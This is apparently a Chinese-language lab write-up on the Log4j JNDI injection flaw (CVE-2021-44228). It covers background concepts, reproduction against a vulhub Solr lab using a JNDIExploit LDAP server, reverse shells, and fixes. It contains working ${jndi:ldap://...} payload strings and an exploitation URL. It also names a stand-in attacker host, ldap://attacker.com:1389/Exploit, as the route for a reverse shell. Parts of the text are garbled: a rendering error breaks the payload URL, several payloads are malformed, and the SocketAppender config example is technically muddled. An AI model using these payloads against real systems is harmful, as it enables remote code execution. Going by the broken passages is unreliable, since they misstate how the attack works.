Java Log4j

漏洞原理

Apache Log4j-2存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用可以造成任意代码执行。

基础概念

  • log4j是什么?

    Apache的开源项目log4j是一个功能强大的日志组件(框架),提供方便的日志记录。

    https://www.jianshu.com/p/9fca47678ba4

    https://juejin.cn/post/6844904147167395848

  • lookup

    log4j中的Lookup机制允许使用JNDI来动态地管理日志记录器的配置信息 ,lookup的本意是方便开发人员进行调试的时候查看环境变量等信息,但是同时也可以被恶意利用,它不仅可以用来回显环境变量,还可以进行jndi注入,我暂时简单理解为log4j利用的本质就是一种jndi注入。

    https://logging.apache.org/log4j/2.x/manual/lookups.html

    image-20230314154011461

  • Maven

    Maven是一个Java项目管理工具,它可以帮助开发人员自动化构建、测试、部署和管理Java项目。

    Maven的主要功能包括:

    • 项目管理:Maven可以自动创建项目结构和文件,包括源代码目录、资源目录和测试目录等。
    • 依赖管理:Maven可以自动下载和管理项目所需的依赖库,并且可以通过中央仓库和私有仓库来管理依赖库。
    • 构建管理:Maven可以自动化执行项目的编译、测试、打包和部署等构建任务,可以通过插件来扩展构建任务。
    • 文档生成:Maven可以根据项目的源代码和注释生成项目文档,并且可以通过插件来扩展文档生成功能。
  • JNDI

    翻译过来就是 java命名和目录接口 ,是一组在java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象,在Java平台中,有多个JNDI的实现类可供选择,其中一些主要的实现类包括:

    1. LDAP provider:是基于X.500标准的轻量级目录访问协议,用于访问LDAP服务器,通过JNDI API可以实现连接、搜索、读取、修改等操作。Java平台中提供了一个LDAP provider,支持访问大多数LDAP服务器,如Microsoft Active Directory、OpenLDAP等。
    2. RMI provider:用于访问远程对象,通过JNDI API可以实现在不同Java虚拟机之间的对象传输。Java平台中提供了一个RMI provider,支持远程对象的查找和绑定等操作。可以实现java远程方法调用
    3. DNS provider:用于访问DNS服务,通过JNDI API可以实现域名解析、查找DNS条目等操作。Java平台中提供了一个DNS provider,支持访问常见的DNS服务器。
  • JNDI注入

    当你开发 Java 应用程序时,你可能需要访问外部资源,JNDI提供了在 Java 应用程序中访问外部资源的方法,让你可以像访问文件系统一样访问外部资源。

    JNDI 注入是一种将外部资源注入到 Java 应用程序中的方式。

    攻击者利用JNDI注入漏洞的一般过程如下:

    1. 攻击者发送恶意数据,例如通过Web表单或URL参数等输入。
  1. 恶意数据包含特殊的JNDI注入payload,用于欺骗JNDI上下文对象,使其执行非预期的操作。
  2. JNDI上下文对象执行恶意操作,例如读取文件、执行命令等。

例如,可以利用RMI把恶意代码写在远程服务器上,然后进行JNDI注入,让远程服务器的代码执行,类似于php的文件包含

{jndi:rmi//xxx.xxx.xxx}

{jndi:ldap//xxx.xxx.xxx}

原理

综上大致得到了对于log4j漏洞的基本认识, Log4j是一个Java日志框架,允许开发人员按照不同的方式记录日志。其中一个重要的特性就是lookup机制,它允许用户在日志输出中使用占位符,并动态地替换这些占位符为实际的值。 Log4j的lookup机制可以通过使用“${}”语法来实现。具体来说,可以在日志输出中使用“${}”,并在运行时通过设置相关的属性来替换这些占位符。例如,可以使用以下语句在日志输出中引用环境变量:

logger.info("The value of the HOME environment variable is ${env:HOME}");

在这个例子中,“${env:HOME}”是一个lookup表达式,它告诉Log4j在运行时查找名为“HOME”的环境变量,并将其替换为实际的值。

更多lookup相关可以查看文档:https://logging.apache.org/log4j/2.x/manual/lookups.html

以下是lookup支持输出的环境变量

image-20230314154032871

除了环境变量之外,Log4j还支持其他类型的lookup。

  1. 系统属性:通过使用${sys:propertyName}语法,可以引用JVM中的系统属性,其中propertyName是系统属性的名称。
  2. Java JNDI:使用${jndi:contextName:propertyName}语法,可以在JNDI上下文中查找属性值,其中contextName是JNDI上下文的名称,propertyName是要查找的属性的名称。
  3. 本地变量:使用${local:variableName}语法,可以引用在当前线程中定义的本地变量,其中variableName是变量的名称。
  4. 随机数:使用${random}语法,可以生成一个随机数。
  5. 时间戳:使用${date}语法,可以生成当前日期和时间的时间戳,格式可以根据需要进行指定。

也即 Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

主要问题出现在lookup支持Java JNDI, 是有可能造成JNDI注入的,或者说log4j漏洞的利用方式本质上就是JNDI注入。

攻击者可以通过构造一个恶意的JNDI URL,注入到web站点接收日志消息的地方,发送给Log4j 2.x框架来利用该漏洞。当Log4j 2.x框架在处理该日志消息时,它会尝试查找该JNDI URL中指定的上下文和属性,这可能会导致恶意代码的执行。攻击者可以使用此漏洞来执行任意代码,包括在目标系统上执行命令、窃取敏感数据等。

影响范围

日志处理模块 Apache Log4j 2.x <= 2.14.1

jdk版本 <=“1.8.0_121”

漏洞复现和利用

本地快速复现

https://github.com/Yihsiwei/Log4j-exp

下载Log4j-exp

https://github.com/feihong-cs/JNDIExploit

开启JNDI服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.31.1

image-20230314154100815

这里相当于受害站点

image-20230314154122566

打一个jar包并执行

java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar

image-20230314154142857

通过vulhub靶场复现

攻击机: kali 192.168.111.128

靶机: ubuntu 192.168.111.139

已提前装好ssh、curl、pip等工具

安装docker

curl -s https://get.docker.com/ | sh

docker -v查看是否安装成功

image-20230314154157250

安装docker-compose

apt  install docker-compose

或者

pip install docker-compose

docker-compose -v 查看版本

image-20230314154213351

vulhub下载

git clone https://github.com/vulhub/vulhub.git

启动环境

docker-compose build
docker-compose up -d

这里我这个命令一直报错,sudo就可以了

sudo docker-compose up

这里测试tomcat ,开起来了

image-20230314154226330

任意代码执行

进入相关目录

cd /vulhub/log4j/CVE-2021-44228

拉取镜像

docker-compose up -d --build

image-20230314154243936

查看端口信息

docker-compose ps

image-20230314154300382

访问

http://192.168.111.139:8983/solr/#/

image-20230314154315337

在Dnslog拿一个域名用来测试: 2xwogd.dnslog.cn

访问

http://192.168.111.139:8983/solr/admin/cores?action=KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: {jndi:ldap://{sys:java.version}.2xwogd.dnslog.cn }

做到这里了:

https://blog.csdn.net/weixin_46683781/article/details/122226317

反弹shell

Log4j漏洞可以被利用反弹shell是因为它涉及到了一个名为JNDI(Java Naming and Directory Interface)的Java API。在这种漏洞利用中,攻击者可以通过构造特定的JNDI数据源名称,将其作为参数传递给Log4j,然后触发Log4j的JNDI lookup操作,从而将攻击者指定的远程服务器IP地址和端口号作为参数传递给JNDI数据源名称。

这种攻击方式被称为JNDI注入攻击,它利用了JNDI的某些不安全的特性,可以让攻击者在目标系统上执行远程代码,包括反弹shell等操作。

具体地,攻击者可以构造如下的JNDI数据源名称:

javascriptCopy codeldap://attacker.com:1389/Exploit

其中,ldap表示协议名称,attacker.com表示攻击者控制的远程服务器IP地址,1389表示远程服务器监听的端口号,Exploit为任意名称。

当受害者使用了受漏洞影响的Log4j版本,并且在应用程序中使用了类似以下的Log4j配置:

phpCopy code<appender name="test" class="org.apache.log4j.net.SocketAppender">
    <param name="RemoteHost" value="ldap://attacker.com"/>
    <param name="Port" value="1389"/>
    <param name="ReconnectionDelay" value="10000"/>
</appender>

攻击者可以利用构造的JNDI数据源名称,欺骗Log4j将攻击者指定的远程服务器IP地址和端口号传递给JNDI lookup操作,从而导致攻击者成功地反弹shell或执行其他远程代码。

因此,为了防止Log4j漏洞被利用反弹shell等操作,需要及时升级受影响的Log4j版本,并关闭JNDI lookup功能,或对JNDI数据源名称进行严格限制和验证。

修复

用户:

  • 禁用lookup或JNDI服务

  • 升级Apache Log4j和jdk版本

Apache Log4j漏洞的修复主要涉及以下两个方面:

  1. 修复漏洞代码:修复了漏洞代码,以防止攻击者利用漏洞进行攻击。 Log4j漏洞的根本原因在于JNDI Lookup和相关函数中存在的漏洞代码,攻击者可以通过利用此漏洞在受害者的系统中执行任意代码。因此,修复漏洞代码的方案主要集中在禁用JNDI Lookup和相关函数、增强输入验证、使用安全类加载器等方面。
  2. 加强安全机制:在修复漏洞的同时,Apache Log4j也采取了一些措施来加强安全机制,以防止类似漏洞再次出现。具体来说,Apache Log4j采取了以下措施:
    • 添加安全警报:在Log4j配置中,添加了一个新的安全警报机制,以便及时通知管理员有关异常和潜在的安全问题。
    • 增加日志信息:在日志记录中增加了更多的详细信息,以帮助管理员更好地跟踪和排查潜在的安全问题。
    • 提供安全建议:在官方的安全公告中,提供了一些安全建议和最佳实践,以帮助管理员更好地保护其系统和应用程序的安全。
0%